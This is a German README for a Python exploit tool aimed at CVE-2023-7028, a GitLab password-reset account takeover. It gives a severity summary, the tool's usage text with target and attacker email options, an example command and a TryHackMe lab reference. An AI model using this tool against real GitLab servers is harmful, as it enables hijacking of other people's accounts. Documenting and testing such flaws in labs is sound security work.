CVE-2023-7028

⚠️ Dieser Exploit dient nur Verteidigungszwecken und sollte von Cybersicherheitsexperten verwendet werden, um möglicherweise verwundbare GitLab-Server zu identifizieren.

Beschreibung

CVE-2023-7028 - Kontoübernahme per Passwort-Reset ohne Benutzerinteraktion in GitLab Community Edition und Enterprise Edition

Betroffene Produkte und Versionen:

• CVSS: 10.0
• Aktiv ausgenutzt: JA
• Patch: JA
• Gegenmaßnahme: NEIN

Hilfe

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

Beispiel: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

Labor

Du kannst den Try-Hack-Me-Room GitLab CVE-2023-7028 verwenden, um den Exploit zu testen, da dort eine verwundbare GitLab-Version läuft, die von CVE-2023-7028 betroffen ist.

Übersicht der GitLab-Server von SHADOWSERVER:

Referenzen

• GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6
• Über 5.300 GitLab-Server sind Zero-Click-Kontoübernahme-Angriffen ausgesetzt
• Shadowserver-GitLab-Statistiken
• CVE-2023-7028 - AttackerKB